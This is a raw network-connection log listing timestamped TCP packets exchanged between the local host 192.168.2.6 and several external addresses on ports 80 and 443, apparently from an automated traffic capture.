Apr 24, 2024 09:17:01.239154100 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.239196062 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.239201069 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.239239931 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.239538908 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.239589930 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.239677906 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.239727020 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.240230083 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.240282059 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.240288973 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.240335941 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.240591049 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.240639925 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.477844954 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.477941990 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.478280067 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.478332996 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.478760004 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.478815079 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.479238033 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.479290009 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.479299068 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.479347944 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.480515003 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.480566025 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.480665922 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.480714083 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.480972052 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.481019020 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.481249094 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.481296062 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.481451035 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.481501102 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.481517076 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.481575012 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.482064009 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.482117891 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.482525110 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.482574940 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.482724905 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.482773066 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.482796907 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.482844114 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.483036995 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.483084917 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.483220100 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.483266115 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.483680964 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.483730078 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.484236002 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.484285116 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.484689951 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.484741926 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.485219002 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.485270023 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.485619068 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.485649109 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.485671043 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.485693932 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.485697985 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.485744953 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.485766888 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.485816002 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.486031055 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.486082077 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.486248970 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.486299992 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.486341000 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.486388922 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.486519098 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.486567974 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.486594915 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.486639023 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.486644983 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.486682892 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.486736059 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.486784935 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.487004042 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.487051010 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.487132072 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.487180948 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.487297058 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.487344980 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.487502098 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.487550020 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.487603903 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.487620115 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.487654924 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.487673998 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.487792015 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.487839937 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.487977982 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.488029003 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.488164902 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.488213062 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.488214016 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.488259077 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.488528013 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.488580942 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.488636017 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.488681078 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.488770008 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.488818884 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.488919973 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.488960981 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.488965034 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.489000082 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.489248991 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.489301920 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.489465952 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.489514112 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.489701033 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.489749908 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.489964962 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.490014076 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.490201950 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.490247011 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.490257025 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.490292072 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.490454912 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.490502119 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.490664959 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.490711927 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.490715981 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.490763903 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.490801096 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.490849972 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.491085052 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.491132975 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.491185904 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.491234064 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.491260052 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.491305113 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.491782904 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.491837978 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.492196083 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.492249966 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.492252111 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.492299080 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.492840052 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.492861032 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.492889881 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.492904902 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.492925882 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.492974043 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.495326042 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.495379925 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.495383024 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.495429993 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.495903015 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.495954037 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.495958090 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.495976925 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.495999098 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.496012926 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.496190071 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.496236086 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.738272905 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.738305092 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.738364935 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.741403103 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.741456985 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.741496086 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.741538048 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.742310047 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.742353916 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.742430925 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.742470980 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.742806911 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.742851973 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.742877007 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.742917061 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.743168116 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.743208885 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.743290901 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.743302107 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.743333101 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.743350983 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.743685007 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.743725061 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.743761063 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.743799925 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.743902922 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.743946075 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.744230032 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.744273901 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.744329929 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.744340897 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.744371891 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.744380951 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.744700909 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.744710922 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.744745970 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.744771004 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.744811058 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.745136976 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.745179892 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.745285988 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.745326996 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.745328903 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.745368958 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.745656967 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.745671034 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.745697975 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.745718002 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.745783091 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.745825052 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.746223927 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.746264935 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.746289015 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.746304989 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.746328115 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.746339083 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.746407986 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.746417999 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.746459961 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.746609926 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.746654034 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.746738911 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.746761084 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.746783972 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.746792078 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.746808052 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.746815920 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.746834993 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.747137070 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.747148037 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.747179985 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.747239113 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.747277021 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.747282028 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.747318983 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.747749090 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.747775078 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.747788906 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.747812033 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.747834921 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.747862101 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.747873068 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.747896910 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.748033047 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.748075008 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.748209953 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.748250961 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.748287916 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.748322964 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.748347044 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.748356104 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.748383045 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.748410940 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.748425007 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.748447895 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.748573065 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.748615980 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.748786926 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.748830080 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.749104023 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.749118090 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.749145031 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.749157906 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.749289989 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.749331951 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.749388933 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.749430895 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.749588966 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.749631882 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.749777079 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.749819994 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.750125885 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.750168085 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.750169992 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.750207901 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.750292063 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.750303030 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.750335932 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.750572920 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.750618935 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.750809908 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.750854969 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.750889063 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.750931978 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.751003027 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.751044035 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.751077890 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.751121044 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.791780949 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.791825056 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.791836977 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.791842937 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.791956902 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.792071104 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.792071104 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:02.116461039 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:02.234846115 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:02.581938028 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:02.582067013 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:02.599383116 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:02.767751932 CEST	49706	443	192.168.2.6	96.17.209.196
Apr 24, 2024 09:17:02.767812014 CEST	443	49706	96.17.209.196	192.168.2.6
Apr 24, 2024 09:17:02.767873049 CEST	49706	443	192.168.2.6	96.17.209.196
Apr 24, 2024 09:17:02.787398100 CEST	49706	443	192.168.2.6	96.17.209.196
Apr 24, 2024 09:17:02.787432909 CEST	443	49706	96.17.209.196	192.168.2.6
Apr 24, 2024 09:17:02.996217966 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:03.116990089 CEST	443	49706	96.17.209.196	192.168.2.6
Apr 24, 2024 09:17:03.117077112 CEST	49706	443	192.168.2.6	96.17.209.196
Apr 24, 2024 09:17:03.198090076 CEST	49706	443	192.168.2.6	96.17.209.196
Apr 24, 2024 09:17:03.198141098 CEST	443	49706	96.17.209.196	192.168.2.6
Apr 24, 2024 09:17:03.199078083 CEST	443	49706	96.17.209.196	192.168.2.6
Apr 24, 2024 09:17:03.199145079 CEST	49706	443	192.168.2.6	96.17.209.196
Apr 24, 2024 09:17:03.201838017 CEST	49706	443	192.168.2.6	96.17.209.196
Apr 24, 2024 09:17:03.244162083 CEST	443	49706	96.17.209.196	192.168.2.6
Apr 24, 2024 09:17:03.586180925 CEST	443	49706	96.17.209.196	192.168.2.6
Apr 24, 2024 09:17:03.586249113 CEST	443	49706	96.17.209.196	192.168.2.6
Apr 24, 2024 09:17:03.586267948 CEST	49706	443	192.168.2.6	96.17.209.196
Apr 24, 2024 09:17:03.586292028 CEST	443	49706	96.17.209.196	192.168.2.6
Apr 24, 2024 09:17:03.586319923 CEST	443	49706	96.17.209.196	192.168.2.6
Apr 24, 2024 09:17:03.586321115 CEST	49706	443	192.168.2.6	96.17.209.196
Apr 24, 2024 09:17:03.586349010 CEST	49706	443	192.168.2.6	96.17.209.196
Apr 24, 2024 09:17:03.586374998 CEST	49706	443	192.168.2.6	96.17.209.196
Apr 24, 2024 09:17:03.673278093 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:03.673374891 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:03.673419952 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:03.673433065 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:03.673449039 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:03.673472881 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:03.673479080 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:03.673486948 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:03.673506975 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:03.673528910 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:03.673547983 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:03.673589945 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:03.673614025 CEST	49705	80	192.168.2.6	200.45.93.45
